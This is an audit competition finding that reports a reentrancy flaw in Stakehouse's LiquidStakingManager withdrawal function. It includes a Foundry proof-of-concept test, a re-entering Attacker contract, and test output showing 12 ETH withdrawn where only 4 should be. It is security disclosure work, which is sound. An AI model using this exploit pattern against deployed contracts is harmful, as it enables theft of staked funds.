code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-11-stakehouse/blob/main/contracts/liquid-staking/LiquidStakingManager.sol#L326-L350

Vulnerability details

Impact

NodeRunners are required to stake 4 ETH per knot to the LiquidStakingManager in order to qualify as a noderunner.

Before the node runners staked eth gets pooled and goes to the LSDNetwork, noderunners can withdraw their 4 ETH for a given Knot; after which their Knot public key gets banned.

This bug allows Noderunners to withdraw 4 ETH per one knot multiple times before they get banned because of reentrancy. Effectively they can withdraw the 4 ETH for another knot that they registered for.

As for the severity, I can make a case for all three categories, please dear jude, decide (:

Since the Smartwallet in current implementation does not seem to be used for anything else, and the small wallet still holds only the ETH of the (potentially) mailicious noderunner, this might be just a QA bug.
On the other hand it might cause people to stake in the vaults, and then finding out that they afterwards can't proceed with the "final" staking (as their eth and that of the noderunner creates an eth node), leaving them with derivatives that are less liquid (as in they loose value=high). Or maybe the smart wallet is used for something else in the future ...
In any case code reading NewLSDValidatorRegistered events and causing actors to call stake will find a function of the code impacted (=mid).

Proof of Concept

Below a forge test that registers 3 public keys for 3 knots with 12 eth and only invalidates one public key to withdraw all the eth (when it should only be 4 eth).

Add to `LSDNFactoryTest` in `test/foundry/LSDNFactory.t.sol`

    function testNodeRunnerMultipleWithdrawalForOnePubkey() public {

        address house = address(new StakeHouseRegistry());

        // setup attacker
        Attacker att = new Attacker(manager, blsPubKeyOne);
        address nodeRunner = address(att);

        uint256 nodeStakeAmount = 12 ether;
        vm.deal(nodeRunner, nodeStakeAmount);

        address eoaRepresentative = accountTwo;

        MockAccountManager(manager.accountMan()).setLifecycleStatus(blsPubKeyOne, 0);

        vm.prank(nodeRunner);
        manager.registerBLSPublicKeys{value: nodeStakeAmount}(
            getBytesArrayFromBytes(blsPubKeyOne, blsPubKeyTwo, blsPubKeyThree),
            getBytesArrayFromBytes(blsPubKeyOne, blsPubKeyTwo, blsPubKeyThree),
            eoaRepresentative
        );

        MockAccountManager(manager.accountMan()).setLifecycleStatus(blsPubKeyOne, 1);
        manager.setIsPartOfNetwork(blsPubKeyOne, true);

        address nodeRunnerSmartWallet = manager.smartWalletOfNodeRunner(nodeRunner);
        assertEq(nodeRunnerSmartWallet.balance, 12 ether);

        vm.prank(nodeRunner);
        manager.withdrawETHForKnot(nodeRunner, blsPubKeyOne);

        // assertions prove that attack worked, invert for real tests ...
        assertEq(nodeRunnerSmartWallet.balance, 0 ether); // smart wallet has no ether left
        assertTrue(!manager.isBLSPublicKeyBanned(blsPubKeyTwo)); // pubKey2 not banned
        assertTrue(!manager.isBLSPublicKeyBanned(blsPubKeyThree)); // pubKey3 not banned
        emit log_named_string("attack", nodeRunnerSmartWallet.balance == 0 ? "worked" : "failed");
        emit log_named_uint("attacker balance", address(nodeRunner).balance);

    }

Append following to `test/foundry/LSDNFactory.t.sol`

contract Attacker is TestUtils {
    MockLiquidStakingManager mgr;
    bytes pubKey; 
    uint counter = 0;

    constructor(MockLiquidStakingManager _manager, bytes memory _pubKey) {
        mgr = _manager;
        pubKey = _pubKey;
    }
    // function that would "registerBLSPublicKeys" is left to readers imagination

    // receive call from smart wallets raw execute
    fallback() external payable {
        counter += 1;
        if (counter <= 2) 
            mgr.withdrawETHForKnot(address(this), pubKey);
    }
}

Output

Please note: that as an attacker I wanted the test to pass. Maybe the protocol devs want to invert that ;).

yarn test -m testNodeRunnerMultipleWithdrawalForOnePubkey -v
yarn run v1.22.19
$ forge test -vv -m testNodeRunnerMultipleWithdrawalForOnePubkey -v
[⠑] Compiling...
No files changed, compilation skipped

Running 1 test for test/foundry/LSDNFactory.t.sol:LSDNFactoryTest
[PASS] testNodeRunnerMultipleWithdrawalForOnePubkey() (gas: 38507247)
Logs:
  attack: worked
  balance: 12000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 17.22ms

Tools Used

Foundry